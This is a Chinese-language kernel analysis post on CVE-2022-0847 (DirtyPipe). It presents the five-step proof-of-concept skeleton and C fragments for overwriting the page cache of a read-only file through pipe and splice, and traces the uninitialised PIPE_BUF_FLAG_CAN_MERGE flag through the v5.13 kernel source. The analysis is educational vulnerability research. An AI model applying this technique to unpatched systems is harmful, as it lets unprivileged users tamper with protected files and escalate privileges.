0x00 前言
前文Linux 内核之旅(十五):管道的实现介绍了管道机制的内核实现原理,本文学习一个基于管道机制的非常有趣的CVE实现:CVE-2022-0847
本文基于漏洞影响版本v5.13来进行分析
0x01 CVE介绍
相关的poc代码参考此,抽象为如下代码结构,这里面包含的五个步骤缺一不可
// 1、创建管道
int p[2];
pipe(p);
// 2、填充管道(创建带有PIPE_BUF_FLAG_CAN_MERGE标志的缓冲区)
for (int i = 0; i < 8; i++)
write(p[1], "A", 1);
// 3、清空管道(保留缓冲区结构)
for (int i = 0; i < 8; i++)
read(p[0], &buf, 1);
// 4、使用splice将文件内容导入管道(关键漏洞触发点)
ssize_t nbytes = splice(file_fd, &file_offset, p[1], NULL, 1, 0);
// 5、向管道写入恶意数据(利用漏洞覆盖文件缓存)
write(p[1], evil_data, evil_data_len);
1、在受影响内核版本中,使用 splice
系统调用从一个只读文件(如-r--r--r--
)向一个管道中传输数据时,会使管道用于保存数据的缓冲区共享文件的 page cache,从而实现零拷贝。但是,由于 PIPE_BUF_FLAG_CAN_MERGE
标志位的存在,调用 splice
之后再向管道中写入数据时,写入的数据会直接写到文件的 page cache 中(虽然文件是只读,但是可以通过这种巧妙的方式写入到文件page cache)
2、当另一个进程(可能是系统相关)在读此文件时,会触发读到page cache(Buffered IO),由于该文件的page cache已经被污染了,所以读到的是上一步中的写入后的脏页数据
3、低权限用户可利用此漏洞向本没有写权限的文件中写入数据,进而实现提权等恶意行为
POC代码的若干细节
先介绍下漏洞利用涉及的若干细节:
- 创建一个管道(不指定
O_DIRECT
) - 将管道填充满(通过
write()-->pipe_write()
每次写入整页),这样所有的 pipe 缓存页都初始化过了,pipe->flags
被初始化为PIPE_BUF_FLAG_CAN_MERGE
,关联代码 - 将管道清空(通过
read()-->pipe_read()
),这样通过splice
系统调用传送文件的时候就会使用原有的初始化过的buf结构,关联代码 - 打开待覆写文件,调用
splice()
将往pipe的写端p[1]
关联到只读文件的page cache1
字节偏移处(将page cache索引到pipe_buffer
管理结构),关联代码 - 最后,调用
write()
继续向pipe写入小于1
页的数据(write()-->pipe_write()
),这时就会覆盖到文件缓存页了,暂时篡改了目标文件。只要没有其他可写权限的程序进行write
操作,该页面并不会被内核标记为dirty(内核其实也并不知道),也就不会进行页面缓存写会磁盘的操作,此时其他进程读文件会命中页面缓存,从而读取到篡改后到文件数据, 但重启后文件会变回原来的状态
漏洞限制
- 被”覆写”的目标文件必须拥有可读权限,否则
splice()
无法进行 - 由于是在
pipe_buffer
中覆写页面缓存的数据,又需要splice()
将管道关联与page cache的偏移为1
字节,所以覆盖时,待写入页面的第一个字节是不可修改的,同样的原因,单次写入的数据量也不能大于4kB
,思考下,这个操作的意义是什么? - 由于需要写入的页面都是内核通过文件IO读取的page cache, 所以任意写入文件只能是单纯的覆写,不能调整文件的大小
- 漏洞被命名为 DirtyPipe,和 CVE-2016-5195 DirtyCOW 一样,两个漏洞的触发点都在于Linux内核对于文件读写操作的优化(写时拷贝/零拷贝)。DirtyPipe的利用方法更简单,因为不需要竞争,顺序操作就能直接触发漏洞
漏洞利用演示
testfile
的权限为-r--r--r--
,原始文件内容为this is a test file
,通过poc可完成”写入”功能,如下图所示:
0x02 漏洞原理分析
前文已经描述了4.11.6
版本相关的实现机制,这里就基于POC的核心代码先标注出关键的内核函数,作为后面breakpoint所用(假设存储类型为ext4)
基础知识
1、 管道的文件操作类型pipefifo_fops
是一个 struct file_operations
类型的常量,定义了 pipe 类型支持的文件操作集合
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};
1、创建管道
管道(pipe)是内核提供的一种通信机制,通过pipe
/pipe2
函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接收数据,类似管道的两端。在内核实现中,通常管道缓存总长度65536
字节,使用页(物理页)的形式进行管理,总共16
页(每页4096
字节),页面之间并不连续,而是通过数组指针进行管理,形成一个环形结构。内核实现中,管道会维护两个指针,其中pipe->head
用来写管道头,pipe->tail
用来读管道尾
int p[2];
pipe(p);
2、填充管道
第二步,对应的POC代码片段为:
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
第二步,填充管道(创建带有PIPE_BUF_FLAG_CAN_MERGE
标志的缓冲区),主要的操作是调用write
函数写管道,这里关联的内核调用链为:
write
|- vfs_write
|- new_sync_write
|- call_write_iter
|- pipe_write
内核调用的代码片段如下:
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
......
if (file->f_op->write)
ret = file->f_op->write(file, buf, count, pos);
else if (file->f_op->write_iter){
// pipe 实现了 write_iter 而不是 write
// call new_sync_write
ret = new_sync_write(file, buf, count, pos);
}
......
}
static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
struct iovec iov = { .iov_base = (void __user *)buf, .iov_len = len };
struct kiocb kiocb;
struct iov_iter iter;
ssize_t ret;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = (ppos ? *ppos : 0);
iov_iter_init(&iter, WRITE, &iov, 1, len);
// call call_write_iter
ret = call_write_iter(filp, &kiocb, &iter);
BUG_ON(ret == -EIOCBQUEUED);
if (ret > 0 && ppos)
*ppos = kiocb.ki_pos;
return ret;
}
static inline ssize_t call_write_iter(struct file *file, struct kiocb *kio,
struct iov_iter *iter)
{
// call pipe_write
return file->f_op->write_iter(kio, iter);
}
这里跟踪到内核代码pipe_write
分析下:
1、如果当前pipe不为空(head==tail
判定为空管道),则说明现在管道中有未被读取的数据,则获取head
指针,也就是指向最新的用来写的页,查看该页的len
、offset
,由此方式找到数据结尾,下一步尝试在当前页面追加写入
2、判断当前页面是否带有PIPE_BUF_FLAG_CAN_MERGE
标记,如果不存在则不允许在当前页面追加写入,或者当前写入的数据拼接在之前的数据后面长度超过一页(写入操作跨页),如果跨页,则无法追加写入
3、如果无法在上一页追加写入,那么就申请新物理页(通过alloc_page
申请一个新的页)
4、将新的页放在数组最前面(可能会替换掉原有页面),初始化页管理结构的相关成员
5、buf->flag
默认初始化为PIPE_BUF_FLAG_CAN_MERGE
,因为默认状态允许pipe缓存页追加写入
6、漏洞利用的关键就是在splice
中未初始化buf->flags
标记,导致splice
传送的文件缓存页在buf->flags
为PIPE_BUF_FLAG_CAN_MERGE
时被当成了普通pipe缓存页
static inline bool pipe_empty(unsigned int head, unsigned int tail)
{
return head == tail;
}
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
__pipe_lock(pipe);
......
head = pipe->head; //head:写时移动
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
// 1、若pipe缓存不为空,则尝试是否能从当前最后一页继续写
//
unsigned int mask = pipe->ring_size - 1;
// 获取当前最后一页(head-1)
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
// 这里是追加写入当前页面逻辑
// 重要!如果buf->flags中存在PIPE_BUF_FLAG_CAN_MERGE的标志位,表示该页允许追加写入
// 如果写入长度不会跨页,则追加写入;否则新建一个页面后才继续写入
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
// 写入数据
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
// 如果前一页没法续写,那么则重新申请一页继续完成写入逻辑
for (;;) {
......
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {
// 重新申请一页新的写入
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
// 将新申请的物理页放到pipe的页数组中,
// 并且初始化pipe页管理数据结构的成员
// 注意flags这个成员
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE; //通常情况下,初始化为PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
if (!pipe_full(head, pipe->tail, pipe->max_usage))
continue;
/* Wait for buffer space to become available. */
if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
/*
* We're going to release the pipe lock and wait for more
* space. We wake up any readers if necessary, and then
* after waiting we need to re-check whether the pipe
* become empty while we dropped the lock.
*/
__pipe_unlock(pipe);
if (was_empty) {
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
}
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}
out:
......
return ret;
}
3、清空管道(保留缓冲区结构)
第三步主要操作是调用read
函数读取(清空)管道,这里关联的内核调用链为:
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
4、使用splice将文件内容导入管道(关键漏洞触发点)
第四步主要操作是调用splice
函数将只读文件的fd关联的page cache与管道核心结构pipe_buffer->page
,这里涉及的内核调用链为:
以splice
操作的文件fd为ext4文件系统说明,其关联的文件操作函数集合为ext4_file_operations
,需要调用到其read_iter
的实现ext4_file_read_iter
splice
|- do_splice
|- splice_file_to_pipe //https://elixir.bootlin.com/linux/v5.13/source/fs/splice.c#L1028
|- do_splice_to //https://elixir.bootlin.com/linux/v5.13/source/fs/splice.c#L773
|- in->f_op->splice_read(默认为generic_file_splice_read)
|- call_read_iter
|- file->f_op->read_iter(ext4文件系统默认为ext4_file_read_iter)
|- generic_file_read_iter //https://elixir.bootlin.com/linux/v5.13/source/mm/filemap.c#L2628
|- filemap_read
|- copy_page_to_iter //https://elixir.bootlin.com/linux/v5.13/source/lib/iov_iter.c#L960
|- copy_page_to_iter_pipe //https://elixir.bootlin.com/linux/v5.13/source/lib/iov_iter.c#L417
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
由于内核中pipe默认会管理16
个单位物理内存页来作为缓存,前文介绍了splice
的零拷贝机制是直接使用文件缓存页(page cache)来替换pipe中的缓存页,即更改pipe缓存页指针指向文件缓存页,从而完美打通fd与pipe(splice
函数最终是通过调用copy_page_to_iter_pipe
函数将pipe缓存页结构指向要传输的文件的文件缓存页)
copy_page_to_iter-->copy_page_to_iter_pipe
函数的关键功能如下(注意:参数struct iov_iter
中保存了pipe的管理节点)
- 首先根据参数
struct iov_iter
,获取到pipe的管理结构对象pipe_inode_info
- pipe页数组环形结构,找到当前写指针
pipe->head
位置(找到写入位置) - 将当前需要写入的页指向准备好的文件缓存页,并设置其他成员,如
buf->len
、buf->offset
都是由splice
系统调用的传入参数决定的,注意此处没有初始化buf->flags
,该成员的值仍然是上面设置的值
//https://elixir.bootlin.com/linux/v5.13/source/lib/iov_iter.c#L975
size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
if (unlikely(!page_copy_sane(page, offset, bytes)))
return 0;
if (i->type & (ITER_BVEC | ITER_KVEC | ITER_XARRAY)) {
void *kaddr = kmap_atomic(page);
size_t wanted = copy_to_iter(kaddr + offset, bytes, i);
kunmap_atomic(kaddr);
return wanted;
} else if (unlikely(iov_iter_is_discard(i)))
return bytes;
else if (likely(!iov_iter_is_pipe(i)))
return copy_page_to_iter_iovec(page, offset, bytes, i);
else
return copy_page_to_iter_pipe(page, offset, bytes, i); //调用此
}
//https://elixir.bootlin.com/linux/v5.13/source/lib/iov_iter.c#L417
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
if (off) {
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
//修改pipe缓存页的相关成员指向文件缓存页page cache
//并初始化相关成员
//注意:此处并未初始化flags
buf->ops = &page_cache_pipe_buf_ops;
//https://elixir.bootlin.com/linux/v5.13/source/include/linux/mm.h#L1202
get_page(page);
// 页指针指向了page cache
buf->page = page;
// offset、len设置为splice传入的参数
// offset:
// len:
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
5、向管道写入恶意数据
最后一步,向管道写入恶意数据(利用漏洞覆盖文件缓存),主要操作是调用write
函数向管道写入数据,这里关联的POC代码片段和内核调用链为:
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
内核调用链:
write
|- vfs_write
|- new_sync_write
|- call_write_iter
|- pipe_write
|- copy_page_from_iter
|- copy_page_from_iter_iovec(将数据从用户态经过pipe写入映射文件的page cache)
根据上文分析,如果重新调用pipe_write
向pipe中写数据,写指针pipe->head
指向刚传送的文件缓存页,且flag
为PIPE_BUF_FLAG_CAN_MERGE
时,则pipe_write
在写入长度不跨页的前提下,会认为可以继续在该页写,这样本次写操作就写在了本不该写的文件缓存页page cache
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
......
head = pipe->head; //head:写时移动
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
// 由于前面的污染操作,这里的flags标志包含了PIPE_BUF_FLAG_CAN_MERGE位
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
// 合并写入数据
// 因此把恶意数据写入了buf->page,即page cache中
// https://elixir.bootlin.com/linux/v5.13/source/lib/iov_iter.c#L290
// 最终调用:copy_page_from_iter_iovec 完成写入
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
......
}
6、其他进程读取文件
根据VFS的文件缓存机制,内核将打开的文件放到缓存页之中,在这个缓存页的生命周期内内访问同一个文件,都会操作相同的文件缓存页,而不是反复打开。通过上面五步,写缓存页的方法篡改了目标文件缓存页(即便目标文件没有写权限),导致在接下来的一段时间内所有使用这个文件的进程都会访问被篡改的缓存页,从而完成短时间内对目标文件的写操作
0x03 漏洞调试
通过对漏洞内核的debug,跟踪管道pipe在splice
之后的状态(flags
)变化情况,从下图可以看出来,buf->flags
的值为16
(定义为#define PIPE_BUF_FLAG_CAN_MERGE 0x10
)